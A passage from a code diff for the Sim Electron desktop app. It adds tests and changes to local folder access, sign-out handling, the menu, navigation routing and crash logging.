pattern: '*.match' }) + ) + const entries = 'entries' in result ? result.entries : [] + + expect(result).toMatchObject({ truncated: true }) + expect(entries.map((entry) => entry.name)).toEqual(generatedNames.sort().slice(0, 500)) + }) + + it('returns the same capped grep membership regardless of directory enumeration order', async () => { + const generatedNames = Array.from( + { length: 5 }, + (_, index) => `grep-${String(4 - index).padStart(3, '0')}.txt` + ) + for (const name of generatedNames) { + await writeFile(join(root, name), 'deterministic match\n') + } + const granted = await mount(service) + + const result = dataOf( + await service.handle({ + operation: 'grep', + uri: granted.uri, + pattern: 'deterministic match', + outputMode: 'files_with_matches', + maxResults: 3, + }) + ) + + expect(result).toEqual({ + files: generatedNames + .sort() + .slice(0, 3) + .map((name) => `${granted.uri}${name}`), + truncated: true, + }) + }) + it('supports the normal VFS grep regex and output modes', async () => { const granted = await mount(service) @@ -456,6 +525,102 @@ describe('LocalFilesystemService', () => { expect(response).toMatchObject({ ok: false, code: 'MOUNT_NOT_FOUND' }) }) + it('does not commit a directory chosen after account teardown starts', async () => { + const grantStore = new MemoryGrantStore() + let resolveSelection: ((selection: string) => void) | undefined + const selection = new Promise((resolve) => { + resolveSelection = resolve + }) + const pendingService = new LocalFilesystemService({ + chooseDirectory: () => selection, + grantStore, + }) + + const pendingMount = pendingService.handle({ operation: 'mount_directory' }) + await pendingService.forgetAll() + resolveSelection?.(root) + + await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' }) + expect(grantStore.grants).toEqual([]) + expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({ + mounts: [], + }) + }) + + it('waits for an admitted grant update before forgetAll clears persistence', async () => { + let delaySave = false + let releaseSave: (() => void) | undefined + let signalSaveStarted: (() => void) | undefined + const saveStarted = new Promise((resolve) => { + signalSaveStarted = resolve + }) + const grantStore = new MemoryGrantStore() + const originalSave = grantStore.save.bind(grantStore) + grantStore.save = async (grants) => { + if (delaySave) { + await new Promise((resolve) => { + releaseSave = resolve + signalSaveStarted?.() + }) + } + return originalSave(grants) + } + const selections = [root, join(root, 'src')] + const pendingService = new LocalFilesystemService({ + chooseDirectory: async () => selections.shift() ?? null, + grantStore, + }) + const first = await mount(pendingService) + await mount(pendingService) + delaySave = true + + const forgettingMount = pendingService.handle({ + operation: 'forget_mount', + uri: first.uri, + }) + await saveStarted + const forgettingAll = pendingService.forgetAll() + releaseSave?.() + + await Promise.all([forgettingMount, forgettingAll]) + expect(grantStore.grants).toEqual([]) + }) + + it('releases security-scoped access once when persistence finishes after generation expiry', async () => { + let resolveSave: ((remembered: boolean) => void) | undefined + let signalSaveStarted: (() => void) | undefined + const saveStarted = new Promise((resolve) => { + signalSaveStarted = resolve + }) + const grantStore: LocalFilesystemGrantStore = { + load: async () => [], + save: async () => { + signalSaveStarted?.() + return new Promise((resolve) => { + resolveSave = resolve + }) + }, + clear: vi.fn(async () => {}), + } + const stopAccessing = vi.fn() + const pendingService = new LocalFilesystemService({ + chooseDirectory: async () => ({ path: root, bookmark: 'bookmark' }), + grantStore, + startAccessingBookmark: () => stopAccessing, + }) + + const pendingMount = pendingService.handle({ operation: 'mount_directory' }) + await saveStarted + advanceAccountDataGeneration() + resolveSave?.(true) + + await expect(pendingMount).resolves.toMatchObject({ ok: false, code: 'CANCELLED' }) + expect(stopAccessing).toHaveBeenCalledOnce() + expect(dataOf(await pendingService.handle({ operation: 'list_mounts' }))).toEqual({ + mounts: [], + }) + }) + it('restores an encrypted grant with the same opaque URI after restart', async () => { const grantStore = new MemoryGrantStore() const firstStopAccessing = vi.fn() diff --git a/apps/desktop/src/main/local-filesystem.ts b/apps/desktop/src/main/local-filesystem.ts index 0b115133a00..573f5a8cb88 100644 --- a/apps/desktop/src/main/local-filesystem.ts +++ b/apps/desktop/src/main/local-filesystem.ts @@ -1,4 +1,5 @@ -import { lstat, readdir, readFile, realpath, stat } from 'node:fs/promises' +import type { Dirent } from 'node:fs' +import { lstat, opendir, readFile, realpath, stat } from 'node:fs/promises' import { basename, isAbsolute, relative, resolve, sep } from 'node:path' import type { LocalFilesystemData, @@ -21,6 +22,13 @@ import { isRecordLike } from '@sim/utils/object' import { app, dialog, shell } from 'electron' import micromatch from 'micromatch' import safeRegex from 'safe-regex2' +import { + advanceAccountDataGeneration, + captureAccountDataGeneration, + isAccountDataGenerationCurrent, + runAccountDataMutation, + waitForAccountDataMutations, +} from '@/main/account-data-generation' import type { LocalFilesystemGrantStore, PersistedLocalFilesystemGrant, @@ -28,6 +36,7 @@ import type { const MAX_URI_LENGTH = 4096 const MAX_LIST_ENTRIES = 500 +const LIST_METADATA_BATCH_SIZE = 16 const MAX_SCAN_ENTRIES = 10_000 const MAX_SCAN_DEPTH = 50 const MAX_GLOB_RESULTS = 500 @@ -256,6 +265,69 @@ function throwIfAborted(signal?: AbortSignal): void { } } +function compareDirectoryEntries(left: Dirent, right: Dirent): number { + return left.name.localeCompare(right.name) +} + +function addToBoundedDirectoryHeap(heap: Dirent[], entry: Dirent, limit: number): void { + if (heap.length < limit) { + heap.push(entry) + let index = heap.length - 1 + while (index > 0) { + const parentIndex = Math.floor((index - 1) / 2) + if (compareDirectoryEntries(heap[parentIndex], heap[index]) >= 0) break + const parent = heap[parentIndex] + heap[parentIndex] = heap[index] + heap[index] = parent + index = parentIndex + } + return + } + + if (compareDirectoryEntries(entry, heap[0]) >= 0) return + heap[0] = entry + let index = 0 + while (true) { + const leftIndex = index * 2 + 1 + const rightIndex = leftIndex + 1 + let largestIndex = index + if ( + leftIndex < heap.length && + compareDirectoryEntries(heap[leftIndex], heap[largestIndex]) > 0 + ) { + largestIndex = leftIndex + } + if ( + rightIndex < heap.length && + compareDirectoryEntries(heap[rightIndex], heap[largestIndex]) > 0 + ) { + largestIndex = rightIndex + } + if (largestIndex === index) return + const current = heap[index] + heap[index] = heap[largestIndex] + heap[largestIndex] = current + index = largestIndex + } +} + +async function selectDirectoryEntries( + path: string, + limit: number, + signal?: AbortSignal +): Promise<{ entries: Dirent[]; truncated: boolean }> { + const entries: Dirent[] = [] + let seen = 0 + const directory = await opendir(path) + for await (const entry of directory) { + throwIfAborted(signal) + seen++ + addToBoundedDirectoryHeap(entries, entry, limit) + } + entries.sort(compareDirectoryEntries) + return { entries, truncated: seen > entries.length } +} + export class LocalFilesystemService { private readonly mounts = new Map() private readonly activeRequests = new Map() @@ -314,7 +386,9 @@ export class LocalFilesystemService { /** Revoke every remembered grant, used on sign-out and origin changes. */ async forgetAll(): Promise { + advanceAccountDataGeneration() this.close() + await waitForAccountDataMutations() await this.grantStore?.clear() } @@ -534,17 +608,32 @@ export class LocalFilesystemService { } private async mountDirectory(): Promise { + const generation = captureAccountDataGeneration() const selection = await this.chooseDirectory() if (!selection) return { mount: null, cancelled: true } + if (!isAccountDataGenerationCurrent(generation)) { + throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.') + } const selected = typeof selection === 'string' ? { path: selection } : selection const stopAccessing = selected.bookmark ? this.startAccessingBookmark(selected.bookmark) : undefined + let accessReleased = false + const releaseAccess = stopAccessing + ? () => { + if (accessReleased) return + accessReleased = true + stopAccessing() + } + : undefined try { const rootPath = await realpath(selected.path) const rootStat = await stat(rootPath) + if (!isAccountDataGenerationCurrent(generation)) { + throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.') + } if (!rootStat.isDirectory()) { throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The selected item is not a directory.') } @@ -553,7 +642,7 @@ export class LocalFilesystemService { const id = existing?.id ?? generateId() const bookmark = selected.bookmark ?? existing?.bookmark const nextStopAccessing = selected.bookmark - ? stopAccessing + ? releaseAccess : (existing?.stopAccessing ?? (bookmark ? this.startAccessingBookmark(bookmark) : undefined)) if (selected.bookmark) { @@ -569,10 +658,21 @@ export class LocalFilesystemService { ...(nextStopAccessing ? { stopAccessing: nextStopAccessing } : {}), } this.mounts.set(id, mount) - mount.remembered = await this.persistMounts() + try { + mount.remembered = await runAccountDataMutation(generation, () => this.persistMounts()) + } catch (error) { + this.mounts.delete(id) + throw error + } + if (!isAccountDataGenerationCurrent(generation)) { + mount.stopAccessing?.() + this.mounts.delete(id) + await this.grantStore?.clear() + throw new LocalFilesystemError('CANCELLED', 'The folder request expired during sign-out.') + } return { mount: this.publicMount(mount), cancelled: false } } catch (error) { - stopAccessing?.() + releaseAccess?.() throw error } } @@ -592,7 +692,9 @@ export class LocalFilesystemService { private async restoreRememberedMounts(): Promise { if (!this.grantStore) return + const generation = captureAccountDataGeneration() const grants = await this.grantStore.load() + if (!isAccountDataGenerationCurrent(generation)) return let skipped = false for (const grant of grants) { @@ -604,6 +706,10 @@ export class LocalFilesystemService { try { const rootPath = await realpath(grant.rootPath) const rootStat = await stat(rootPath) + if (!isAccountDataGenerationCurrent(generation)) { + stopAccessing?.() + return + } if (!rootStat.isDirectory()) { stopAccessing?.() skipped = true @@ -625,7 +731,7 @@ export class LocalFilesystemService { } if (skipped) { - await this.persistMounts() + await runAccountDataMutation(generation, () => this.persistMounts()) } } @@ -658,19 +764,22 @@ export class LocalFilesystemService { } private async forgetMount(uri: string): Promise { + const generation = captureAccountDataGeneration() const { mount } = this.parseUri(uri) mount.stopAccessing?.() this.mounts.delete(mount.id) - const persisted = await this.persistMounts() - if (!persisted && this.grantStore) { - // Fail closed: if an updated encrypted grant set cannot be written, - // remove the store so a revoked mount cannot return after restart. - await this.grantStore.clear() - for (const remaining of this.mounts.values()) { - remaining.remembered = false + await runAccountDataMutation(generation, async () => { + const persisted = await this.persistMounts() + if (!persisted && this.grantStore) { + // Fail closed: if an updated encrypted grant set cannot be written, + // remove the store so a revoked mount cannot return after restart. + await this.grantStore.clear() + for (const remaining of this.mounts.values()) { + remaining.remembered = false + } } - } + }) return { forgotten: true } } @@ -780,31 +889,37 @@ export class LocalFilesystemService { throw new LocalFilesystemError('NOT_A_DIRECTORY', 'The localfs URI is not a directory.') } - const directoryEntries = await readdir(resolvedPath.realPath, { withFileTypes: true }) - directoryEntries.sort((a, b) => a.name.localeCompare(b.name)) - const truncated = directoryEntries.length > MAX_LIST_ENTRIES - // `allSettled`, so one entry disappearing mid-read does not fail the whole - // listing. Build output, downloads and caches churn constantly, and a - // single ENOENT should drop that row rather than the directory. - const settled = await Promise.allSettled( - directoryEntries.slice(0, MAX_LIST_ENTRIES).map(async (directoryEntry) => { - const childRelativePath = [resolvedPath.relativePath, directoryEntry.name] - .filter(Boolean) - .join('/') - const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name)) - const item: LocalFilesystemEntry = { - name: directoryEntry.name, - uri: localUri(resolvedPath.mount.id, childRelativePath), - kind: entryKind(directoryEntry), - size: metadata.size, - modifiedAt: metadata.mtime.toISOString(), - } - return item - }) - ) - const entries = settled.flatMap((result) => - result.status === 'fulfilled' ? [result.value] : [] + const { entries: directoryEntries, truncated } = await selectDirectoryEntries( + resolvedPath.realPath, + MAX_LIST_ENTRIES ) + + const entries: LocalFilesystemEntry[] = [] + for (let index = 0; index < directoryEntries.length; index += LIST_METADATA_BATCH_SIZE) { + const batch = directoryEntries.slice(index, index + LIST_METADATA_BATCH_SIZE) + const items = await Promise.all( + batch.map(async (directoryEntry): Promise => { + try { + const childRelativePath = [resolvedPath.relativePath, directoryEntry.name] + .filter(Boolean) + .join('/') + const metadata = await lstat(resolve(resolvedPath.realPath, directoryEntry.name)) + return { + name: directoryEntry.name, + uri: localUri(resolvedPath.mount.id, childRelativePath), + kind: entryKind(directoryEntry), + size: metadata.size, + modifiedAt: metadata.mtime.toISOString(), + } + } catch { + return null + } + }) + ) + for (const item of items) { + if (item) entries.push(item) + } + } return { entries, truncated } } @@ -835,16 +950,16 @@ export class LocalFilesystemService { throwIfAborted(signal) const current = stack.pop() if (!current) break - const children = await readdir(current.path, { withFileTypes: true }) - children.sort((a, b) => b.name.localeCompare(a.name)) - - for (const child of children) { + const remaining = MAX_SCAN_ENTRIES - scanned + if (remaining <= 0) { + truncated = true + break + } + const selection = await selectDirectoryEntries(current.path, remaining, signal) + scanned += selection.entries.length + const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = [] + for (const child of selection.entries) { throwIfAborted(signal) - scanned++ - if (scanned > MAX_SCAN_ENTRIES) { - truncated = true - break - } const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/') const childPath = resolve(current.path, child.name) const mountRelativePath = [resolvedPath.relativePath, relativeFromBase] @@ -868,13 +983,20 @@ export class LocalFilesystemService { } if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) { - stack.push({ + childDirectories.push({ path: childPath, relativeFromBase, depth: current.depth + 1, }) } } + if (selection.truncated) { + truncated = true + break + } + for (let index = childDirectories.length - 1; index >= 0; index--) { + stack.push(childDirectories[index]) + } } entries.sort((a, b) => a.uri.localeCompare(b.uri)) @@ -1080,18 +1202,20 @@ export class LocalFilesystemService { throwIfAborted(signal) const current = stack.pop() if (!current) break - const children = await readdir(current.path, { withFileTypes: true }) - for (const child of children) { + const remaining = MAX_SCAN_ENTRIES - scanned + if (remaining <= 0) { + truncated = true + break + } + const selection = await selectDirectoryEntries(current.path, remaining, signal) + scanned += selection.entries.length + const childDirectories: Array<{ path: string; relativeFromBase: string; depth: number }> = [] + for (const child of selection.entries) { throwIfAborted(signal) - scanned++ - if (scanned > MAX_SCAN_ENTRIES) { - truncated = true - break - } const relativeFromBase = [current.relativeFromBase, child.name].filter(Boolean).join('/') const childPath = resolve(current.path, child.name) if (child.isDirectory() && !child.isSymbolicLink() && current.depth < MAX_SCAN_DEPTH) { - stack.push({ + childDirectories.push({ path: childPath, relativeFromBase, depth: current.depth + 1, @@ -1112,6 +1236,13 @@ export class LocalFilesystemService { break } } + if (selection.truncated) { + truncated = true + break + } + for (let index = childDirectories.length - 1; index >= 0; index--) { + stack.push(childDirectories[index]) + } } if (outputMode === 'files_with_matches') { diff --git a/apps/desktop/src/main/menu.test.ts b/apps/desktop/src/main/menu.test.ts index b98be440434..ae0170365e5 100644 --- a/apps/desktop/src/main/menu.test.ts +++ b/apps/desktop/src/main/menu.test.ts @@ -6,18 +6,20 @@ import { BrowserWindow, type MenuItemConstructorOptions } from 'electron' import type { ConfigStore } from '@/main/config' import { buildMenuTemplate, type MenuDeps } from '@/main/menu' -function makeDeps(): MenuDeps { +function makeDeps(origin = 'https://sim.ai'): MenuDeps { return { config: { filePath: '/tmp/settings.json', - getOrigin: vi.fn(() => 'https://sim.ai'), + getOrigin: vi.fn(() => origin), setOrigin: vi.fn(), get: vi.fn(() => undefined), set: vi.fn(), } as unknown as ConfigStore, getMainWindow: vi.fn(() => null), + isMainWindow: vi.fn(() => true), allowHttpLocalhost: vi.fn(() => false), openSettings: vi.fn(), + openServerSettings: vi.fn(), newWindow: vi.fn(), newChat: vi.fn(), handleFocusedResourceShortcut: vi.fn(() => false), @@ -25,6 +27,7 @@ function makeDeps(): MenuDeps { openSearch: vi.fn(), signOut: vi.fn(), checkForUpdates: vi.fn(), + openDiagnostics: vi.fn(), } } @@ -51,11 +54,10 @@ describe('buildMenuTemplate', () => { expect(submenu(template, 'Sim').map((item) => item.label ?? item.role ?? item.type)).toEqual([ 'about', 'Settings…', + 'Server…', 'Check for Updates…', 'Sign Out', 'separator', - 'services', - 'separator', 'hide', 'hideOthers', 'unhide', @@ -100,9 +102,36 @@ describe('buildMenuTemplate', () => { ]) }) - it('keeps Help limited to documentation and Sim status', () => { + it('keeps Help limited to support and diagnostics', () => { const help = submenu(buildMenuTemplate(makeDeps()), 'Help') - expect(help.map((item) => item.label)).toEqual(['Sim Documentation', 'Sim Status']) + expect(help.map((item) => item.label ?? item.type)).toEqual([ + 'Sim Documentation', + 'Sim Status', + 'separator', + 'Show Diagnostic Logs', + ]) + }) + + // status.sim.ai reports on Sim's deployments only, so it is worse than + // useless to an operator whose own server is the one that is down. + it('drops Sim status for a self-hosted server', () => { + const help = submenu(buildMenuTemplate(makeDeps('https://sim.example.com')), 'Help') + expect(help.map((item) => item.label ?? item.type)).toEqual([ + 'Sim Documentation', + 'separator', + 'Show Diagnostic Logs', + ]) + }) + + it('opens local diagnostics from Help', () => { + const deps = makeDeps() + const item = submenu(buildMenuTemplate(deps), 'Help').find( + (entry) => entry.label === 'Show Diagnostic Logs' + ) + + ;(item?.click as () => void)() + + expect(deps.openDiagnostics).toHaveBeenCalledOnce() }) it('never exposes developer tools in the application menu', () => { @@ -110,7 +139,7 @@ describe('buildMenuTemplate', () => { expect(view.some((item) => item.role === 'toggleDevTools')).toBe(false) }) - it('reserves the close-tab accelerator for resources and never closes the window', () => { + it('closes the main window when no resource claims the close-tab accelerator', () => { const handleFocusedResourceShortcut = vi.fn(() => true) const deps = Object.assign(makeDeps(), { handleFocusedResourceShortcut }) const closeItem = submenu(buildMenuTemplate(deps), 'File').find( @@ -132,7 +161,39 @@ describe('buildMenuTemplate', () => { handleFocusedResourceShortcut.mockReturnValue(false) click({}, focusedWindow) - expect(focusedWindow.close).not.toHaveBeenCalled() + expect(focusedWindow.close).toHaveBeenCalledOnce() + }) + + it('keeps resource, reload, and zoom accelerators out of utility windows', () => { + const mainWindow = new BrowserWindow() + const utilityWindow = new BrowserWindow() + const handleFocusedResourceShortcut = vi.fn(() => false) + const deps = Object.assign(makeDeps(), { + getMainWindow: vi.fn(() => mainWindow), + isMainWindow: vi.fn((win: BrowserWindow) => win === mainWindow), + handleFocusedResourceShortcut, + }) + const template = buildMenuTemplate(deps) + const file = submenu(template, 'File') + const view = submenu(template, 'View') + const invoke = (item: MenuItemConstructorOptions | undefined) => + (item?.click as unknown as (menuItem: unknown, browserWindow: BrowserWindow) => void)( + {}, + utilityWindow + ) + + invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+T')) + invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+R')) + invoke(view.find((item) => item.accelerator === 'CmdOrCtrl+Plus')) + + expect(handleFocusedResourceShortcut).not.toHaveBeenCalled() + expect(mainWindow.webContents.reload).not.toHaveBeenCalled() + expect(utilityWindow.webContents.reload).not.toHaveBeenCalled() + expect(deps.config.set).not.toHaveBeenCalledWith('zoomLevel', expect.anything()) + + invoke(file.find((item) => item.accelerator === 'CmdOrCtrl+W')) + expect(utilityWindow.close).toHaveBeenCalledOnce() + expect(mainWindow.close).not.toHaveBeenCalled() }) it('always offers a separate close-window accelerator', () => { diff --git a/apps/desktop/src/main/menu.ts b/apps/desktop/src/main/menu.ts index d5594f2c5d1..cf1b94009f6 100644 --- a/apps/desktop/src/main/menu.ts +++ b/apps/desktop/src/main/menu.ts @@ -1,6 +1,6 @@ import type { MenuItemConstructorOptions } from 'electron' import { app, BrowserWindow, Menu } from 'electron' -import type { ConfigStore } from '@/main/config' +import { type ConfigStore, isSimCloudOrigin } from '@/main/config' import { DOCS_URL, STATUS_URL } from '@/main/external-links' import { openExternalSafe } from '@/main/navigation' import type { @@ -13,8 +13,11 @@ const ZOOM_STEP = 0.5 export interface MenuDeps { config: ConfigStore getMainWindow: () => BrowserWindow | null + isMainWindow: (win: BrowserWindow) => boolean allowHttpLocalhost: () => boolean openSettings: () => void + /** Opens the native server picker (see main/server-window.ts). */ + openServerSettings: () => void newWindow: () => void newChat: () => void /** @@ -30,6 +33,7 @@ export interface MenuDeps { openSearch: () => void signOut: () => void checkForUpdates: () => void + openDiagnostics: () => void } /** @@ -38,22 +42,29 @@ export interface MenuDeps { * the zoom level persists across launches. */ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] { - const withWindow = (fn: (win: BrowserWindow) => void) => () => { - const win = deps.getMainWindow() - if (win && !win.isDestroyed()) { - fn(win) + /** Utility windows must not redirect resource commands into the hidden main window. */ + const focusedMainOrFallback = (focusedWindow: unknown): BrowserWindow | null => { + if (focusedWindow instanceof BrowserWindow) { + return !focusedWindow.isDestroyed() && deps.isMainWindow(focusedWindow) ? focusedWindow : null } + const fallback = deps.getMainWindow() + return fallback && !fallback.isDestroyed() ? fallback : null } - /** Accelerators fire on whichever window has focus; fall back to the main one. */ - const focusedOrMain = (focusedWindow: unknown): BrowserWindow | null => - focusedWindow instanceof BrowserWindow ? focusedWindow : deps.getMainWindow() + const focusedWindowOrMain = (focusedWindow: unknown): BrowserWindow | null => { + if (focusedWindow instanceof BrowserWindow) { + return focusedWindow.isDestroyed() ? null : focusedWindow + } + const fallback = deps.getMainWindow() + return fallback && !fallback.isDestroyed() ? fallback : null + } const resourceShortcut = ( shortcut: FocusedResourceShortcut ): NonNullable => { return (_item, focusedWindow) => { - deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), shortcut) + const win = focusedMainOrFallback(focusedWindow) + if (win) deps.handleFocusedResourceShortcut(win, shortcut) } } @@ -74,8 +85,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] const resolve = (current: number) => action === 'reset' ? 0 : action === 'in' ? current + ZOOM_STEP : current - ZOOM_STEP return (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - if (!win || win.isDestroyed()) return + const win = focusedMainOrFallback(focusedWindow) + if (!win) return if (deps.handleFocusedResourceShortcut(win, `zoom-${action}`)) return const level = resolve(win.webContents.getZoomLevel()) win.webContents.setZoomLevel(level) @@ -108,19 +119,21 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] { label: 'Back', accelerator: 'CmdOrCtrl+[', - click: withWindow((win) => { + click: (_item, focusedWindow) => { + const win = focusedMainOrFallback(focusedWindow) + if (!win) return const history = win.webContents.navigationHistory if (history.canGoBack()) { history.goBack() } - }), + }, }, { label: 'Reload', accelerator: 'CmdOrCtrl+R', click: (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - if (!win || win.isDestroyed()) return + const win = focusedMainOrFallback(focusedWindow) + if (!win) return if (deps.handleFocusedResourceShortcut(win, 'reload-or-clear')) return win.webContents.reload() }, @@ -135,8 +148,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] label: 'Force Reload', accelerator: 'CmdOrCtrl+Shift+R', click: (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - if (!win || win.isDestroyed()) return + const win = focusedMainOrFallback(focusedWindow) + if (!win) return if (deps.handleFocusedResourceShortcut(win, 'hard-reload')) return win.webContents.reloadIgnoringCache() }, @@ -155,11 +168,10 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] submenu: [ { role: 'about' }, { label: 'Settings…', accelerator: 'CmdOrCtrl+,', click: deps.openSettings }, + { label: 'Server…', click: deps.openServerSettings }, { label: 'Check for Updates…', click: deps.checkForUpdates }, { label: 'Sign Out', click: deps.signOut }, { type: 'separator' }, - { role: 'services' }, - { type: 'separator' }, { role: 'hide' }, { role: 'hideOthers' }, { role: 'unhide' }, @@ -181,8 +193,7 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] label: 'Close Window', accelerator: 'CmdOrCtrl+Shift+W', click: (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - if (win && !win.isDestroyed()) win.close() + focusedWindowOrMain(focusedWindow)?.close() }, }, /** @@ -199,7 +210,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] accelerator: 'CmdOrCtrl+T', visible: false, click: (_item, focusedWindow) => { - deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'new-tab') + const win = focusedMainOrFallback(focusedWindow) + if (win) deps.handleFocusedResourceShortcut(win, 'new-tab') }, }, { @@ -207,7 +219,8 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] accelerator: 'CmdOrCtrl+Shift+T', visible: false, click: (_item, focusedWindow) => { - deps.handleFocusedResourceShortcut(focusedOrMain(focusedWindow), 'reopen-closed-tab') + const win = focusedMainOrFallback(focusedWindow) + if (win) deps.handleFocusedResourceShortcut(win, 'reopen-closed-tab') }, }, { @@ -234,8 +247,12 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] accelerator: 'CmdOrCtrl+W', visible: false, click: (_item, focusedWindow) => { - const win = focusedOrMain(focusedWindow) - deps.handleFocusedResourceShortcut(win, 'close-tab') + const win = focusedWindowOrMain(focusedWindow) + if (!win) return + if (deps.isMainWindow(win) && deps.handleFocusedResourceShortcut(win, 'close-tab')) { + return + } + win.close() }, }, ], @@ -250,10 +267,18 @@ export function buildMenuTemplate(deps: MenuDeps): MenuItemConstructorOptions[] label: 'Sim Documentation', click: () => void openExternalSafe(DOCS_URL, deps.allowHttpLocalhost()), }, - { - label: 'Sim Status', - click: () => void openExternalSafe(STATUS_URL, deps.allowHttpLocalhost()), - }, + // Omitted for a self-hosted shell, like the offline page's status + // button — see isSimCloudOrigin. + ...(isSimCloudOrigin(deps.config.getOrigin()) + ? [ + { + label: 'Sim Status', + click: () => void openExternalSafe(STATUS_URL, deps.allowHttpLocalhost()), + }, + ] + : []), + { type: 'separator' }, + { label: 'Show Diagnostic Logs', click: deps.openDiagnostics }, ], }, ] diff --git a/apps/desktop/src/main/navigation.test.ts b/apps/desktop/src/main/navigation.test.ts index 22ee2191aa0..66f76d4a12b 100644 --- a/apps/desktop/src/main/navigation.test.ts +++ b/apps/desktop/src/main/navigation.test.ts @@ -77,13 +77,13 @@ describe('classifyNavigation', () => { ).toBe('idp-system-login') }) - it('keeps the same IdP in-window when it is an integration connect', () => { + it('routes non-handoff integration departures out of the privileged app window', () => { expect( classifyNavigation('https://github.com/login/oauth/authorize?client_id=x', { appOrigin: APP, currentUrl: `${APP}/workspace/ws1/integrations/github`, }) - ).toBe('idp-in-window') + ).toBe('external') }) it('sends unknown hosts from an auth surface to the system browser (SSO safe default)', () => { @@ -95,22 +95,22 @@ describe('classifyNavigation', () => { ).toBe('idp-system-login') }) - it('keeps unknown hosts from workspace pages in-window (integration OAuth is a same-window redirect)', () => { + it('does not infer OAuth from an unknown cross-origin workspace navigation', () => { expect( classifyNavigation('https://api.notion.com/v1/oauth/authorize?x=1', { appOrigin: APP, currentUrl: `${APP}/workspace/ws1/integrations/notion`, }) - ).toBe('idp-in-window') + ).toBe('external') }) - it('allows continuation navigation while already on an IdP host', () => { + it('does not keep arbitrary cross-origin continuation pages in the app window', () => { expect( classifyNavigation('https://github.com/sessions/two-factor', { appOrigin: APP, currentUrl: 'https://github.com/login', }) - ).toBe('idp-in-window') + ).toBe('external') }) it('allows any https navigation inside popups', () => { diff --git a/apps/desktop/src/main/navigation.ts b/apps/desktop/src/main/navigation.ts index c9224df5127..3131a5c125e 100644 --- a/apps/desktop/src/main/navigation.ts +++ b/apps/desktop/src/main/navigation.ts @@ -7,7 +7,6 @@ const logger = createLogger('DesktopNavigation') export type MainNavigationAction = | 'in-app' - | 'idp-in-window' | 'idp-system-login' | 'idp-system-connect' | 'external' @@ -104,10 +103,10 @@ export function isAuthSurfacePath(pathname: string): boolean { * else comes back `state_mismatch`. The handoff keeps the whole flow in one * jar and hands a one-time token back over the loopback. * - * Everything else is an integration connect from a workspace page: those stay - * in-window (the session cookie is already in this partition) unless the IdP - * hard-blocks embedded user agents, which is what {@link - * SYSTEM_BROWSER_IDP_HOSTS} enumerates. + * Integration connects use the explicit desktop handoff IPC. A cross-origin + * departure from any other app page is therefore an ordinary external + * navigation, not evidence of OAuth, and must never replace the privileged + * app document that owns the preload bridge. */ export function classifyNavigation(rawUrl: string, ctx: NavigationContext): MainNavigationAction { if (rawUrl === 'about:blank') { @@ -133,7 +132,7 @@ export function classifyNavigation(rawUrl: string, ctx: NavigationContext): Main if (matchesHostList(url.hostname, SYSTEM_BROWSER_IDP_HOSTS)) { return 'idp-system-connect' } - return 'idp-in-window' + return 'external' } /** diff --git a/apps/desktop/src/main/observability.test.ts b/apps/desktop/src/main/observability.test.ts index cd3e3cf2147..836d61f8f01 100644 --- a/apps/desktop/src/main/observability.test.ts +++ b/apps/desktop/src/main/observability.test.ts @@ -1,8 +1,12 @@ import { existsSync, mkdtempSync, readFileSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { describe, expect, it } from 'vitest' -import { createEventLog, scrubUrl } from '@/main/observability' +import { beforeEach, describe, expect, it, vi } from 'vitest' + +vi.mock('electron', () => import('@/test/electron-mock')) + +import { app, dialog } from 'electron' +import { createEventLog, installMainProcessFailureObservers, scrubUrl } from '@/main/observability' describe('scrubUrl', () => { it('drops query strings and fragments so tokens never reach the log', () => { @@ -40,3 +44,78 @@ describe('createEventLog', () => { expect(existsSync(`${events.filePath}.1`)).toBe(true) }) }) + +describe('installMainProcessFailureObservers', () => { + function createProcessSource() { + const handlers = new Map void>() + return { + handlers, + source: { + on: vi.fn((event: string, handler: (...args: never[]) => void) => { + handlers.set(event, handler) + }), + }, + } + } + + beforeEach(() => { + vi.clearAllMocks() + }) + + it('records unexpected child-process exits once per failure burst', () => { + vi.useFakeTimers() + try { + const events = { filePath: '/tmp/events.log', record: vi.fn() } + const { source } = createProcessSource() + installMainProcessFailureObservers({ events, getWindow: () => null, processSource: source }) + const appHandlers = vi.mocked(app.on).mock.calls as unknown as Array< + [string, (...args: never[]) => void] + > + const handler = appHandlers.find(([event]) => event === 'child-process-gone')?.[1] as + | ((event: unknown, details: Record) => void) + | undefined + const details = { type: 'GPU', reason: 'crashed', exitCode: 9, serviceName: 'GPU' } + + handler?.({}, details) + handler?.({}, details) + + expect(events.record).toHaveBeenCalledOnce() + expect(events.record).toHaveBeenCalledWith('child_process_gone', details) + + vi.advanceTimersByTime(5_000) + handler?.({}, details) + expect(events.record).toHaveBeenCalledTimes(2) + } finally { + vi.useRealTimers() + } + }) + + it('shows one recovery prompt for simultaneous fatal failures', async () => { + let resolvePrompt: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined 